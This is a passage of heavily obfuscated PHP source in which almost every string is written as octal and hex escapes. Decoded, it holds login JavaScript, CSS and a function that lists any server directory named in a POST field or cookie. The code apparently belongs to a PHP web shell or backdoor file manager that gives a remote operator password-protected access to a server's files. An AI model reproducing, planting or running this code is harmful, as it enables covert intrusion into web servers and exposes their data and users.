153\145\x79\144\x6f\x77\x6e\x20\75\40\x66\x75\156\x63\x74\x69\157\156\x28\x65\51\x20\173\12\11\11\40\40\40\x20\x76\x61\162\x20\164\150\x65\105\166\x65\x6e\x74\x20\x3d\40\167\151\x6e\x64\x6f\167\x2e\x65\166\x65\156\164\40\x7c\174\40\x65\73\40\x20\40\40\40\x20\xa\40\x20\40\40\40\40\40\x20\x20\40\x20\x20\166\141\162\x20\x63\x6f\144\x65\40\x3d\40\164\x68\145\x45\166\145\156\164\x2e\x6b\145\171\103\x6f\144\x65\40\174\x7c\40\x74\x68\145\x45\x76\145\156\x74\x2e\167\150\x69\x63\x68\x3b\40\12\11\x9\11\151\146\40\50\70\x30\40\x3d\x3d\x20\x63\157\144\x65\x29\40\173\12\11\11\x9\11\x24\x28\42\154\x6f\x67\151\x6e\42\x29\x2e\x73\164\171\x6c\145\x2e\144\x69\163\x70\x6c\141\171\x20\75\x20\x22\x62\x6c\x6f\143\153\42\12\x9\x9\x9\x7d\xa\x9\x9\175\12\11\175\12\x9\151\146\40\50\152\x73\x6f\156\56\x73\164\x61\x74\165\163\x20\x3d\x3d\40\47\x63\154\157\163\145\x27\x29\40\173\12\x9\x9\x64\x6f\143\165\x6d\145\156\164\56\x62\x6f\x64\x79\56\151\x6e\156\x65\x72\x48\124\x4d\114\x20\75\40\x6a\x73\x6f\x6e\56\144\141\164\141\x3b\12\11\11\x24\x28\x22\154\157\x67\151\x6e\42\x29\56\163\x74\171\x6c\145\56\144\x69\163\x70\154\141\171\x20\x3d\40\x22\142\154\x6f\143\x6b\42\x3b\xa\x9\x9\154\x6f\x67\x69\x6e\x28\x29\12\11\175\xa\x20\40\x20\40\151\x66\x20\x28\152\163\157\x6e\56\x73\x74\141\x74\165\x73\x3d\75\47\x6f\156\x27\51\173\xa\x20\40\40\x20\x20\x20\x20\x20\167\x69\x6e\144\157\x77\x2e\154\x6f\143\x61\x74\151\157\x6e\56\162\x65\x6c\157\141\144\x28\51\x3b\12\x20\40\40\40\40\40\40\40\162\145\164\x75\x72\156\x3b\xa\x20\40\x20\40\175\xa\x9\x69\x66\x20\50\x6a\x73\x6f\156\56\x73\x74\141\x74\x75\x73\x20\x3d\x3d\x20\x27\x6f\x6b\47\x29\40\173\xa\11\11\141\152\141\x78\x28\51\73\12\11\x9\144\x6f\143\165\155\x65\156\x74\56\x62\157\144\x79\x2e\151\x6e\x6e\x65\x72\x48\x54\x4d\114\40\75\x20\x6a\163\157\156\56\x64\x61\x74\x61\xa\x9\175\xa\11\x69\146\x20\50\152\163\157\156\56\x70\x61\147\145\163\40\75\75\40\x27\x27\x29\40\x7b\12\x9\x9\44\x28\x22\160\x61\147\145\163\42\51\x2e\163\164\x79\x6c\x65\56\144\151\x73\160\154\141\x79\40\x3d\40\42\x6e\x6f\x6e\x65\42\xa\11\x7d\xa\11\151\146\40\x28\152\x73\157\156\x2e\x70\141\147\145\163\51\x20\173\12\x9\x9\44\x28\42\x70\141\147\145\163\x22\51\56\x73\x74\171\x6c\x65\x2e\144\x69\x73\160\154\x61\x79\x20\x3d\x20\42\x62\154\157\143\x6b\42\73\xa\11\x9\x24\x28\x22\x70\x61\147\x65\x73\42\51\56\x69\156\156\x65\x72\x48\x54\115\x4c\40\x3d\x20\x6a\x73\157\x6e\x2e\x70\x61\147\x65\x73\12\11\x7d\12\x9\x69\146\x20\x28\152\163\x6f\156\x2e\156\x6f\x64\x65\x5f\x64\x61\x74\141\51\x20\44\50\x22\163\150\157\x77\42\x29\x2e\151\156\156\x65\162\110\x54\x4d\114\40\75\40\x6a\x73\x6f\156\x2e\x6e\157\144\145\x5f\144\141\164\141\73\xa\11\151\146\40\50\x6a\x73\x6f\x6e\x2e\x74\151\155\145\51\x20\44\50\x22\x72\x75\156\164\x69\x6d\x65\42\x29\56\151\x6e\156\145\162\110\x54\x4d\x4c\x20\x3d\40\x6a\163\157\156\56\164\151\155\x65\x3b\12\11\151\x66\40\x28\x6a\163\x6f\x6e\56\x6c\151\163\164\x64\151\x72\x29\x20\44\50\x22\x6c\x69\x73\x74\x64\x69\x72\x22\x29\56\x69\156\156\x65\x72\x48\124\115\114\x20\x3d\x20\152\163\157\156\x2e\154\151\x73\164\144\151\162\73\xa\11\x69\146\x20\50\152\163\x6f\156\56\155\x65\x6d\157\162\x79\x29\40\44\x28\42\x6d\145\x6d\x6f\x72\171\x22\51\56\x69\156\x6e\x65\x72\110\x54\115\x4c\40\x3d\x20\x6a\x73\157\x6e\56\x6d\145\x6d\157\162\x79\73\xa\11\x69\x66\40\50\152\x73\x6f\x6e\56\x64\x69\163\153\x74\157\x74\141\x6c\51\x20\x24\x28\42\144\x69\163\153\164\x6f\x74\x61\x6c\x22\51\x2e\151\x6e\x6e\x65\x72\x48\x54\115\x4c\x20\x3d\40\x6a\163\157\156\56\144\x69\163\x6b\164\157\164\x61\x6c\73\12\11\151\146\40\50\x24\x28\x22\x6c\157\x61\144\x22\x29\51\40\173\12\x9\11\x24\50\x22\x6c\x6f\141\144\x22\x29\56\163\x74\171\x6c\x65\56\x64\151\163\x70\154\141\x79\x20\x3d\40\x22\156\x6f\156\x65\x22\xa\x9\175\12\x9\151\146\x20\x28\x6a\x73\157\156\x2e\145\162\x72\x6f\x72\x29\40\x7b\xa\x9\11\44\50\x22\154\157\141\x64\42\51\56\x73\164\x79\x6c\145\x2e\144\x69\x73\x70\x6c\141\x79\40\75\x20\x22\x62\x6c\157\143\153\x22\x3b\12\x9\11\44\x28\42\x6c\157\141\144\42\x29\56\151\156\156\145\162\110\x54\x4d\x4c\x20\75\x20\x6a\163\x6f\x6e\x2e\145\x72\162\157\162\x3b\xa\x9\11\x73\151\144\145\x4f\x75\x74\x28\44\50\42\x6c\x6f\141\x64\42\x29\x2c\x20\61\x35\x30\x30\51\xa\x9\175\xa\40\x20\40\x20\x9\x69\x66\x20\x28\x6a\163\157\x6e\x2e\156\157\x74\x69\x63\x65\x29\x20\173\12\x9\x9\x24\50\x22\x6c\x6f\141\x64\x22\51\x2e\163\x74\x79\x6c\x65\x2e\144\x69\163\160\154\141\x79\40\x3d\x20\42\x62\x6c\157\143\x6b\x22\73\xa\11\x9\x24\50\42\154\x6f\x61\144\42\x29\56\x69\156\x6e\x65\162\x48\124\115\114\x20\75\40\152\163\157\156\56\156\157\x74\151\x63\145\x3b\12\11\11\x73\151\144\x65\x4f\x75\164\50\44\50\x22\154\157\141\144\x22\x29\x2c\x20\61\x35\60\x30\51\73\12\x9\x7d\12\175\12\146\x75\x6e\143\164\x69\157\x6e\x20\x72\x65\x6c\157\x61\144\x28\x29\x20\173\12\11\166\x61\x72\40\x6f\x70\x74\x69\x6f\156\x73\x20\x3d\x20\173\x7d\73\12\11\157\160\x74\x69\x6f\156\x73\56\x75\x72\154\x20\x3d\40\x27\x7b\x73\145\x6c\x66\x7d\47\x3b\xa\x9\157\160\x74\x69\x6f\x6e\163\x2e\154\x69\x73\x74\145\156\x65\x72\40\75\x20\x63\x61\154\154\142\x61\x63\153\x3b\xa\11\157\160\x74\x69\x6f\x6e\x73\x2e\155\145\x74\x68\x6f\x64\x20\x3d\x20\x27\120\x4f\123\124\x27\x3b\xa\11\x76\x61\x72\40\x72\145\x71\x75\x65\x73\164\40\75\x20\x58\155\154\x52\x65\x71\165\x65\x73\x74\x28\x6f\x70\x74\x69\x6f\156\x73\x29\x3b\xa\11\162\x65\x71\165\x65\163\164\56\x73\x65\x74\x52\145\161\x75\x65\163\164\110\145\x61\144\145\x72\x28\x27\101\112\x41\130\x27\54\40\x27\164\162\x75\145\x27\x29\73\xa\x9\x72\145\161\x75\x65\x73\164\56\x73\x65\x74\122\145\161\165\x65\163\164\x48\x65\x61\x64\x65\162\x28\47\x43\157\x6e\164\x65\156\164\55\x74\171\x70\145\47\54\x20\x27\141\160\x70\x6c\151\x63\x61\164\x69\157\156\x2f\x78\55\x77\167\167\55\146\x6f\162\x6d\x2d\x75\x72\154\145\x6e\143\157\x64\x65\x64\47\x29\73\12\11\x72\x65\x71\x75\145\163\164\x2e\x73\145\x6e\144\50\47\141\x63\164\x69\x6f\x6e\75\x69\156\151\164\47\x29\xa\175\12\146\165\156\143\164\x69\x6f\x6e\x20\x61\144\144\105\166\145\x6e\x74\50\x6f\x62\x6a\54\x20\145\x76\164\54\40\146\x6e\x29\x20\173\12\11\x69\x66\40\50\x6f\x62\x6a\x2e\x61\144\144\x45\x76\145\x6e\x74\114\151\x73\164\145\x6e\x65\162\51\40\x7b\12\11\x9\x6f\142\x6a\x2e\141\x64\144\x45\166\x65\x6e\164\114\x69\163\x74\145\x6e\x65\x72\x28\x65\166\164\54\x20\146\156\54\x20\x66\x61\154\x73\x65\51\xa\11\175\40\x65\154\x73\x65\x20\151\146\x20\50\157\x62\152\x2e\x61\x74\x74\141\x63\150\105\166\x65\156\x74\51\40\173\12\11\11\x6f\x62\152\x2e\x61\164\164\141\x63\x68\x45\x76\145\x6e\x74\x28\x27\157\x6e\x27\x20\x2b\x20\145\x76\164\x2c\x20\x66\156\51\12\x9\175\12\x7d\12\146\165\156\143\x74\x69\157\156\40\151\156\151\x74\50\51\40\173\xa\11\x24\50\x29\x3b\12\11\154\157\147\x69\x6e\x28\x29\73\xa\11\162\x65\x6c\x6f\x61\x64\50\51\12\x7d\12\146\x75\x6e\x63\164\151\x6f\156\40\143\154\x6f\x73\145\50\51\x20\173\xa\11\x24\x28\x22\143\x6c\157\163\145\42\x29\56\157\156\143\154\x69\x63\153\40\75\40\146\x75\x6e\143\164\151\x6f\156\x28\51\x20\173\12\x9\x9\x24\50\42\157\x70\x65\x6e\x22\51\56\x73\x74\171\x6c\x65\56\x64\151\163\x70\154\141\x79\x20\75\40\42\x6e\x6f\156\145\42\12\x9\x7d\12\x7d\xa\146\165\156\x63\164\151\157\x6e\40\154\x6f\x67\x69\156\x28\51\x20\x7b\12\11\x24\x28\x22\154\157\147\x69\x6e\x5f\157\x70\x65\x6e\x22\x29\x2e\x6f\156\143\154\x69\x63\153\x20\75\x20\x66\165\156\143\x74\151\x6f\x6e\x28\51\40\173\12\11\x9\166\x61\162\40\160\x77\144\x20\x3d\x20\x24\x28\42\x70\167\144\x22\x29\56\166\x61\x6c\x75\x65\73\xa\11\x9\x76\x61\162\x20\x6f\160\x74\x69\157\156\163\x20\75\40\x7b\x7d\x3b\xa\x9\11\x6f\160\164\151\x6f\156\x73\56\x75\x72\x6c\40\x3d\x20\x27\173\163\x65\154\x66\175\47\73\xa\11\x9\157\160\x74\x69\157\x6e\163\x2e\x6c\151\x73\x74\x65\156\145\x72\x20\75\x20\143\141\x6c\154\142\x61\x63\153\x3b\12\x9\11\x6f\160\164\x69\157\x6e\x73\56\x6d\x65\164\150\157\144\40\75\x20\x27\120\x4f\x53\124\47\73\12\x9\11\166\x61\x72\40\162\x65\x71\165\145\163\x74\x20\x3d\40\130\155\x6c\x52\145\161\x75\145\x73\x74\x28\157\160\164\x69\x6f\x6e\x73\x29\73\xa\x9\x9\x72\x65\x71\x75\145\163\164\56\163\x65\x74\122\x65\161\165\145\x73\x74\x48\x65\141\144\145\162\x28\47\101\x4a\101\130\47\54\40\47\x74\x72\x75\x65\x27\x29\73\xa\11\11\x72\145\x71\165\x65\x73\x74\56\163\145\164\x52\145\161\x75\x65\163\x74\110\x65\141\x64\x65\162\50\47\103\157\156\164\x65\156\164\x2d\x74\171\x70\x65\47\54\40\47\141\160\160\x6c\151\x63\141\164\151\157\x6e\57\170\55\x77\167\x77\x2d\x66\157\162\155\55\165\162\x6c\x65\156\x63\x6f\144\x65\x64\x27\x29\x3b\12\11\x9\151\x66\x20\x28\160\x77\144\x29\40\162\145\x71\165\145\x73\x74\56\163\x65\156\144\50\x27\x70\x77\x64\75\x27\x20\x2b\40\160\x77\x64\x29\xa\x9\175\xa\x7d\xa\146\165\x6e\x63\x74\151\157\x6e\40\44\x28\x64\51\x20\x7b\xa\x9\162\145\x74\165\x72\156\x20\144\157\x63\165\155\x65\156\x74\x2e\147\x65\164\x45\x6c\x65\x6d\145\156\x74\102\171\111\x64\x28\x64\x29\xa\x7d\12\141\x64\144\x45\166\145\x6e\x74\x28\x77\151\156\x64\157\x77\54\x20\47\154\x6f\141\x64\x27\x2c\x20\151\156\x69\164\x29\73\xa\x3c\57\x73\x63\162\x69\160\x74\x3e"; return str_replace("\173\x73\x65\154\x66\x7d", self, $js); } protected static function css() { $css = "\40\151\156\x70\165\x74\173\146\157\156\164\72\61\61\x70\x78\40\x56\x65\162\x64\x61\x6e\x61\x3b\102\101\x43\x4b\107\122\x4f\x55\x4e\104\x3a\43\x46\106\x46\x46\x46\x46\x3b\150\145\151\147\150\x74\x3a\61\70\160\170\73\x62\157\162\144\x65\x72\72\61\x70\x78\40\163\157\154\151\x64\40\x23\x36\x36\66\x36\66\66\73\175\141\x7b\x63\x6f\x6c\x6f\162\x3a\43\x30\60\x66\x3b\x74\145\170\x74\55\x64\x65\143\157\162\141\x74\151\157\x6e\x3a\165\x6e\144\145\x72\x6c\x69\x6e\x65\73\175\141\72\150\x6f\x76\x65\162\x7b\143\x6f\154\x6f\x72\72\x23\146\x30\x30\73\x74\145\x78\x74\x2d\144\x65\x63\157\x72\x61\164\151\157\156\72\156\x6f\156\145\73\175\142\157\144\171\173\146\x6f\156\x74\x3a\61\x32\160\170\40\x41\x72\x69\x61\x6c\x2c\124\141\x68\157\155\x61\73\x6c\151\x6e\145\55\x68\x65\x69\x67\x68\164\x3a\61\x36\160\170\x3b\x6d\141\162\147\x69\156\x3a\60\x3b\x70\x61\144\x64\x69\156\x67\72\60\x3b\175\43\150\x65\141\x64\x65\162\x7b\150\145\151\147\150\164\72\62\x30\160\170\73\x62\x6f\162\144\145\x72\55\x74\x6f\x70\x3a\x31\x70\x78\x20\x73\x6f\154\x69\144\40\43\x66\146\x66\73\x62\x6f\162\x64\145\x72\55\x62\x6f\x74\164\x6f\x6d\x3a\61\160\x78\x20\163\157\154\151\144\40\x23\144\144\144\x3b\142\x61\143\153\x67\162\x6f\165\156\x64\x3a\43\x65\x39\x65\x39\145\x39\73\x70\141\x64\144\151\x6e\147\x3a\x35\x70\170\40\x31\65\160\x78\x20\x35\160\x78\x20\x35\x70\170\73\146\x6f\156\x74\x2d\x77\145\151\x67\x68\x74\x3a\x62\157\154\x64\73\x7d\x23\x68\145\x61\144\x65\x72\x20\x2e\x6c\145\x66\164\x7b\146\154\157\x61\164\72\x6c\145\x66\164\x3b\x7d\43\150\145\141\x64\x65\162\x20\56\162\x69\x67\150\x74\173\146\x6c\157\141\164\x3a\x72\151\x67\150\x74\x3b\175\43\155\145\x6e\x75\173\x62\x6f\162\x64\x65\162\55\164\157\x70\x3a\x31\x70\170\x20\x73\x6f\x6c\151\x64\40\43\x66\146\x66\73\x62\157\x72\144\145\x72\x2d\142\x6f\x74\164\157\155\72\x31\x70\170\40\x73\x6f\154\151\x64\40\43\x64\x64\144\x3b\x62\x61\143\153\x67\x72\x6f\165\x6e\x64\72\x23\x66\61\146\x31\146\x31\73\160\x61\x64\144\151\x6e\147\x3a\x35\x70\170\x20\61\x35\x70\170\40\65\x70\x78\x20\x35\x70\x78\73\175\x23\143\x6f\x6e\x74\145\x6e\x74\173\x6d\x61\x72\147\151\156\72\x30\40\x61\x75\x74\x6f\73\x77\x69\144\164\150\x3a\71\70\x25\x3b\175\43\143\157\156\x74\145\x6e\x74\40\150\62\x7b\155\141\x72\x67\x69\156\x2d\164\157\160\72\x31\65\160\170\73\160\141\x64\x64\151\x6e\x67\72\x30\73\x68\145\x69\x67\x68\x74\x3a\62\x34\160\x78\x3b\x6c\x69\x6e\145\55\x68\145\151\x67\150\164\x3a\x32\64\x70\170\x3b\x66\157\x6e\x74\x2d\x73\151\x7a\145\x3a\x31\64\160\170\73\143\x6f\154\x6f\x72\72\43\x35\x42\x36\70\x36\106\73\175\x23\143\x6f\x6e\164\145\x6e\164\x20\x23\x62\x61\163\x65\x2c\x23\x63\157\156\164\x65\x6e\x74\40\x23\x62\141\163\145\62\173\x62\141\143\x6b\x67\162\157\165\x6e\x64\x3a\43\145\x65\145\x3b\x6d\141\162\147\151\x6e\55\x62\x6f\164\164\x6f\155\x3a\61\60\x70\x78\73\x7d\43\x62\x61\163\x65\x20\151\x6e\x70\x75\164\x7b\146\154\157\141\164\x3a\x72\x69\x67\150\164\73\142\x6f\x72\144\x65\x72\55\143\x6f\x6c\x6f\162\x3a\43\142\x30\x62\60\142\60\x3b\x62\141\143\x6b\x67\162\157\165\x6e\x64\x3a\x23\x33\x64\x33\144\63\144\73\143\x6f\154\157\x72\72\x23\146\x66\146\x66\146\x66\73\146\x6f\156\x74\x3a\x31\62\160\x78\40\101\162\151\141\154\x2c\x54\141\x68\157\x6d\x61\x3b\x68\145\x69\x67\x68\164\72\62\62\x70\170\73\155\x61\x72\x67\x69\x6e\72\x35\x70\170\40\x31\x30\x70\170\73\x7d\56\x63\144\x72\x6f\155\173\160\x61\144\144\151\156\147\72\x35\x70\170\x3b\x6d\x61\x72\147\151\x6e\x3a\141\x75\164\157\40\x37\160\x78\x3b\x7d\x2e\150\173\x6d\x61\162\147\151\156\55\x74\x6f\160\72\70\160\170\x3b\x7d\43\142\141\163\145\x32\40\56\x69\x6e\160\x75\x74\x7b\x66\x6f\156\x74\x3a\x31\62\160\170\x20\101\162\x69\141\x6c\54\x54\x61\150\157\x6d\x61\x3b\142\x61\x63\153\147\x72\x6f\165\156\x64\x3a\43\x66\146\146\x3b\x62\x6f\x72\144\x65\162\72\61\160\x78\x20\163\x6f\154\151\x64\x20\43\66\x36\x36\73\x70\x61\144\x64\151\156\147\x3a\62\x70\170\73\x68\x65\151\x67\150\164\x3a\x31\70\x70\x78\73\175\43\x62\141\163\x65\x32\40\x2e\x62\x74\173\142\157\x72\x64\145\162\x2d\x63\x6f\154\x6f\162\72\x23\142\60\x62\60\142\60\x3b\142\x61\x63\x6b\147\162\x6f\165\x6e\144\72\43\x33\x64\x33\x64\x33\144\73\x63\x6f\x6c\x6f\x72\72\43\x66\x66\x66\x66\x66\x66\x3b\x66\157\156\x74\x3a\x31\x32\x70\170\x20\x41\x72\151\141\154\54\124\141\x68\157\x6d\141\73\150\145\151\147\x68\x74\x3a\x32\62\160\170\73\x7d\144\x6c\x2c\x64\164\54\x64\144\173\155\141\162\147\151\156\72\60\73\175\56\x66\157\143\x75\163\x7b\x62\x6f\x72\144\x65\162\55\164\x6f\160\72\x31\160\x78\x20\163\157\x6c\151\x64\40\43\x66\x66\146\73\x62\157\162\x64\x65\162\55\142\x6f\x74\164\x6f\155\x3a\x31\160\170\x20\x73\x6f\x6c\x69\x64\40\x23\x64\x64\144\73\x62\x61\143\153\x67\162\x6f\165\x6e\144\x3a\43\x66\x66\146\x66\141\141\x3b\x70\141\144\144\151\156\x67\x3a\x35\160\170\40\61\x35\x70\170\40\65\x70\x78\40\x35\x70\x78\73\175\56\x66\x66\146\173\142\x61\x63\x6b\x67\x72\x6f\165\x6e\x64\x3a\43\146\x66\x66\x7d\144\x6c\173\155\x61\x72\x67\x69\x6e\x3a\x30\x20\x61\x75\164\x6f\73\x77\151\144\x74\x68\x3a\x31\x30\x30\45\x3b\175\x64\x74\x2c\144\144\x7b\157\166\x65\x72\146\154\157\x77\x3a\150\151\x64\x64\x65\x6e\73\x62\x6f\x72\x64\x65\x72\55\x74\x6f\160\72\x31\160\170\40\x73\157\x6c\151\144\40\167\150\x69\x74\x65\73\x62\x6f\x72\144\145\162\x2d\142\157\164\164\157\155\x3a\x31\x70\x78\40\163\157\x6c\151\x64\40\43\x44\x44\x44\x3b\x62\x61\143\x6b\147\x72\x6f\165\x6e\x64\x3a\43\106\61\x46\x31\106\x31\73\160\141\x64\x64\151\156\147\72\65\x70\x78\x20\61\65\x70\x78\40\65\160\x78\40\x35\160\x78\x3b\175\x64\x74\x7b\x62\x6f\x72\144\145\x72\x2d\x74\x6f\x70\72\61\160\x78\x20\x73\157\154\151\144\40\167\150\x69\x74\145\x3b\142\157\162\x64\x65\x72\55\142\x6f\x74\164\x6f\155\72\x31\160\170\x20\163\x6f\x6c\151\x64\x20\x23\x44\x44\x44\73\142\141\x63\153\x67\162\x6f\x75\156\x64\72\43\105\x39\x45\x39\x45\71\x3b\146\x6f\x6e\164\55\167\145\x69\147\x68\x74\72\142\157\x6c\x64\73\160\x61\x64\x64\151\x6e\x67\72\x35\x70\170\40\61\x35\x70\170\40\x35\160\170\40\65\160\x78\73\x7d\144\164\40\x73\x70\141\156\x2c\144\x64\40\163\160\141\156\173\x77\x69\x64\x74\150\x3a\x31\x39\x25\x3b\x64\151\x73\x70\154\x61\171\72\x69\x6e\x6c\x69\156\x65\55\x62\x6c\157\143\153\x3b\164\x65\170\164\x2d\151\x6e\x64\145\156\x74\72\60\145\x6d\73\x6f\x76\x65\x72\146\154\x6f\x77\72\150\x69\144\144\x65\x6e\x3b\175\43\x66\x6f\157\164\x65\162\x7b\x70\141\x64\144\151\156\x67\72\x31\x30\x70\170\x3b\x62\x6f\x72\x64\145\x72\55\x62\157\x74\x74\x6f\155\x3a\x31\x70\x78\x20\x73\x6f\154\x69\x64\x20\43\146\x66\146\73\x62\x6f\x72\144\145\162\55\x74\157\x70\72\x31\160\170\40\163\157\x6c\151\x64\40\43\144\x64\x64\x3b\x62\x61\143\153\x67\x72\157\x75\x6e\144\72\43\145\x65\x65\x3b\175\x23\154\157\141\x64\173\x70\x6f\163\151\164\151\157\x6e\x3a\x66\x69\x78\145\x64\x3b\x72\151\x67\x68\164\x3a\x30\x3b\x62\157\x72\144\x65\162\x2d\x74\x6f\x70\72\x31\160\170\40\x73\x6f\154\151\144\x20\43\x66\x66\x66\73\x62\157\x72\144\145\162\55\142\157\x74\164\x6f\x6d\72\61\160\170\40\x73\x6f\154\x69\x64\x20\43\144\x64\x64\73\142\141\x63\153\147\162\157\165\156\144\x3a\43\x66\146\146\146\141\141\x3b\160\x61\144\x64\x69\x6e\x67\72\x35\160\x78\40\61\65\x70\170\40\65\160\x78\x20\65\x70\170\73\144\x69\163\160\x6c\x61\171\x3a\156\157\x6e\x65\73\x7d\x2e\151\156\173\x77\151\144\x74\x68\x3a\x34\60\160\x78\x3b\x74\145\170\164\x2d\x61\154\151\x67\156\x3a\x63\145\156\x74\145\162\73\175\43\160\x61\147\x65\163\x7b\144\151\x73\160\154\x61\171\x3a\156\157\x6e\x65\x3b\x7d\56\150\x69\x67\150\x7b\x62\x61\143\153\147\162\x6f\x75\x6e\144\x2d\143\x6f\154\x6f\x72\x3a\x23\x30\64\x34\71\102\105\x3b\x63\x6f\x6c\x6f\x72\72\x77\x68\x69\164\x65\x3b\155\x61\x72\x67\151\156\72\x30\40\62\160\170\73\160\x61\144\x64\x69\156\x67\x3a\x32\160\x78\40\63\x70\170\x3b\167\151\144\164\150\72\61\x30\x70\x78\73\x7d\x2e\x68\x69\x67\x68\x32\173\x6d\141\x72\x67\151\156\x3a\60\x20\x32\x70\170\73\x70\x61\144\x64\151\156\x67\72\x32\160\x78\x20\x30\x70\170\73\167\151\x64\x74\150\72\x31\60\x70\x78\x3b\175\43\x6c\157\x67\x69\156\x7b\x64\151\163\160\154\x61\171\x3a\x6e\x6f\x6e\145\x3b\x7d\43\x73\150\157\x77\137\146\x69\154\145\x7b\x63\157\x6c\157\162\72\43\60\x30\60\73\x68\145\x69\x67\150\x74\x3a\64\x30\60\160\170\73\167\x69\x64\x74\150\72\x38\60\60\160\x78\x3b\160\x6f\163\151\164\x69\x6f\x6e\72\x66\151\x78\145\x64\73\164\x6f\x70\x3a\x34\x35\x25\x3b\154\145\x66\164\x3a\x35\x30\45\73\x6d\x61\162\147\x69\156\55\x74\157\x70\x3a\x2d\62\60\x30\x70\x78\x3b\x6d\141\x72\x67\x69\x6e\55\154\x65\146\x74\72\x2d\x34\60\60\x70\x78\x3b\142\x61\x63\153\147\x72\x6f\165\156\144\72\x23\146\146\146\73\157\166\145\x72\146\x6c\x6f\167\72\x61\165\164\157\x3b\175\x23\x6f\160\x65\156\54\x23\165\x70\x6c\x6f\x61\144\x7b\x64\151\x73\160\154\141\171\72\x6e\157\x6e\x65\73\160\157\x73\151\164\151\x6f\156\72\146\x69\x78\x65\x64\x3b\x74\x6f\x70\72\x34\x35\x25\73\154\145\146\164\x3a\65\x30\45\73\155\x61\x72\147\x69\x6e\x2d\x74\157\160\x3a\x2d\x32\60\x30\x70\x78\73\x6d\x61\x72\147\x69\156\x2d\154\x65\x66\x74\72\55\x34\x30\60\x70\170\73\x7d\x23\x63\154\157\163\x65\x7b\143\x6f\154\x6f\x72\72\43\x66\x66\x66\x3b\x68\x65\151\147\150\x74\72\61\66\x70\170\73\167\x69\x64\x74\x68\72\x33\60\160\x78\73\x70\x6f\163\x69\x74\151\x6f\x6e\x3a\141\x62\x73\157\154\165\x74\145\73\162\151\147\x68\x74\x3a\x30\x3b\142\x61\x63\x6b\x67\162\x6f\x75\156\x64\x3a\x23\60\60\x30\73\x7a\55\151\156\x64\145\x78\x3a\x31\73\x7d\43\165\x70\x66\151\154\145\173\x77\x69\x64\164\150\72\x36\62\70\x70\170\73\150\145\x69\147\150\x74\72\x31\x30\x38\160\x78\73\160\x61\x64\144\151\156\147\x3a\x31\x30\160\170\x20\x32\x30\160\170\x3b\142\141\143\153\147\x72\157\165\156\x64\x2d\x63\x6f\x6c\157\x72\x3a\167\x68\151\x74\145\x3b\x70\157\163\151\164\x69\157\x6e\72\x66\x69\170\x65\x64\x3b\x74\x6f\160\x3a\64\x35\45\x3b\x6c\x65\x66\x74\x3a\65\x30\x25\x3b\x6d\141\x72\147\x69\156\55\164\157\x70\x3a\x2d\65\x34\x70\170\73\x6d\141\x72\x67\151\x6e\x2d\x6c\x65\x66\x74\x3a\x2d\63\61\64\x70\170\x3b\x7d"; return $css; } static function init() { self::authentication(); } function show($msg = '') { self::G("\162\165\156\164\x69\x6d\145"); header("\103\141\143\150\x65\55\x43\x6f\156\x74\162\157\154\x3a\x20\156\x6f\55\x63\141\143\x68\145\54\40\x6d\x75\x73\164\x2d\162\x65\x76\x61\x6c\x69\144\141\x74\145"); header("\120\162\141\x67\x6d\x61\x3a\x20\x6e\157\55\143\x61\143\150\x65"); header("\103\157\156\x74\145\x6e\164\55\x74\171\x70\x65\72\x74\145\x78\164\x2f\x68\x74\155\154\x3b\143\x68\x61\162\x73\145\x74\x3d\165\164\x66\55\x38"); $url = isset($_COOKIE["\x50\101\124\110"]) ? $_COOKIE["\120\101\x54\x48"] : self::convert_to_utf8(sprintf("\x25\163\x25\163", rtrim(__ROOT__, "\57"), "\x2f"), "\x75\164\146\x38"); $file = !empty($_POST["\x64\x69\x72"]) ? urldecode(self::convert_to_utf8(rtrim($_POST["\x64\151\162"], "\57"), "\165\x74\x66\70")) . "\x2f" : $url; if (!is_readable($file)) { return false; } setcookie("\x50\x41\x54\x48", $file, time() + 3600); clearstatcache(); if (function_exists("\163\143\x61\x6e\x64\151\162")) { $array = scandir($file); } elseif (function_exists("\x67\154\x6f\142")) { foreach (glob($file . "\x2a") as $ff) { $array[] = basename($ff); } } $total_nums = count($array); $page_nums = 50; $nums = $total_nums > $page_nums ? ceil($total_nums / $page_nums) : 1; if ($nums > 1) { $page = intval($_POST["\160\141\x67\x65"]) ? intval($_POST["\x70\x61\x67\145"]) : 1; if ($page > $nums || $page < 1) { $page = 1; } if ($page == 1) { $for_start = 0; $for_page = $page * $page_nums - 1; } else { $for_page = $page * $page_nums - 1 > $total_nums ? $total_nums : $page * $page_nums - 1; $for_start = $page * $page_nums - 1 > $total_nums ? ($page - 1) * $page_nums - 2 : $for_page - $page_nums - 1; } } if ($nums == 1) { $for_start = 0; $for_page = $total_nums; } for ($i = $for_start; $i < $for_page; ++$i) { if ($array[$i] == "\56" || $array[$i] == "\x2e\x2e") { continue; } if (is_dir($file . $array[$i])) { $dir[] = $array[$i]; } elseif (is_file($file . $array[$i])) { $files[] = $array[$i]; } } $next = $page + 1 <= $nums ? $page + 1 : $nums; $previous = $page - 1 > 1 ? $page - 1 : 1; if ($nums > 10) { if ($page > 5) { if ($nums - $page >= 5) { $ipage = $page - 4; $_nums = $page + 5; } else { $ipage = $nums - 9; $_nums = $nums; } } else { $ipage = 1; $_nums = 10; } } else { $ipage = 1; $_nums = $nums; } for ($i = $ipage; $i <= $_nums; ++$i) { if ($i == $page) { $_page .= sprintf("\74\x61\x20\x20\143\154\x61\163\x73\x3d\42\x68\x69\147\150\42\40\x68\162\x65\146\x3d\x22\152\x61\x76\141\163\143\162\x69\160\x74\72\x3b\x3b\73\42\x20\x6e\141\x6d\x65\75\x22\x61\x63\x74\x69\157\156\x3d\163\150\x6f\x77\46\144\x69\x72\x3d\x25\x73\46\x70\141\147\145\x3d\x25\x73\42\40\157\x6e\143\154\151\143\153\x3d\x22\141\x6a\x61\x78\x28\x74\150\151\x73\x2e\x6e\141\x6d\145\x29\42\76\45\x73\x3c\57\141\x3e\x20", urlencode(self::convert_to_utf8($file)), $i, $i); } else { $_page .= sprintf("\74\141\40\x68\162\145\x66\x3d\42\152\x61\x76\141\163\x63\x72\151\x70\164\x3a\73\x3b\73\42\x20\x6e\141\x6d\145\75\x22\141\143\x74\151\x6f\x6e\75\x73\150\157\x77\46\144\x69\x72\x3d\45\x73\x26\160\x61\147\145\75\45\x73\x22\x20\x6f\x6e\143\x6c\x69\143\x6b\x3d\x22\x61\x6a\141\x78\50\164\x68\x69\163\x2e\x6e\x61\155\x65\51\42\x3e\45\163\x3c\x2f\141\x3e\x20", urlencode(self::convert_to_utf8($file)), $i, $i); } } if (!isset($dir)) { $dir = array(); } if (!isset($files)) { $files = array(); } $_ipage_file = urlencode(rtrim(self::convert_to_utf8($file), "\57")); 